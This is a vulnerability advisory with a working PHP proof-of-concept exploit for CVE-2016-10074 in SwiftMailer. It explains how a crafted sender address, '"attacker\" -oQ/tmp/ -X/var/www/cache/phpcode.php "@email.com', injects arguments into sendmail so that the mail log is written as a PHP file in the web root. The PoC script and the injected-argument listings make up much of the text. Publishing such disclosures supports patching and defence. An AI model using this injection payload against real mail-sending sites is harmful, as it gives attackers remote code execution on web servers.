SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)

DESCRIPTION

SwiftMailer class uses PHP mail() function as its default transport.

SwiftMailer suffers from the same vulnerability as the one disclosed in
PHPMailer in the advisory at:

http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

The following Sender address:

"Attacker -Param2 -Param3"@test.com

would cause SwiftMailer/mail() function to execute /usr/bin/sendmail with the
following list of arguments:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker -Param2 [email protected]]

which would not work for the attacker (Param2 and Param3 are passed within
the same argument of argv[3] )

Attackers can however break out of parameter no.3 with some extra escaping.

For example, by injecting an extra sequence of " after the first argument,
the following Sender email:

"Attacker " -Param2 -Param3"@test.com

when passed to SwiftMailer (and eventually to mail()) function would cause
sendmail to execute with:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Which as can be seen would inject additional parameters of 4 & 5 to sendmail.

Attackers can exploit this to achieve code execution as shown in the PoC
below.

PROOF OF CONCEPT EXPLOIT

<?php
 
/*
 
SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
 
Discovered/Coded by:
 
Dawid Golunski
https://legalhackers.com
 
Full Advisory URL:
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

Video PoC
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html


Follow the feed for updates:

https://twitter.com/dawid_golunski

 
A simple PoC (working on Sendmail MTA)
 
It will inject the following parameters to sendmail command:
 
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == ["@email.com]


which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:
 
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<< 
 
 
See the full advisory URL for the exploit details.
 
*/
 
 
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field
 
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';

// ------------------
 
// mail() param injection via the vulnerability in SwiftMailer

require_once 'lib/swift_required.php';
// Mail transport
$transport = Swift_MailTransport::newInstance();
// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance($transport);

// Create a message
$message = Swift_Message::newInstance('Swift PoC exploit')
  ->setFrom(array($email_from => 'PoC Exploit Payload'))
  ->setTo(array('[email protected]', '[email protected]' => 'A name'))
  ->setBody('Here is the message itself')
  ;
// Send the message with PoC payload in 'from' field
$result = $mailer->send($message);

Video PoC:

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html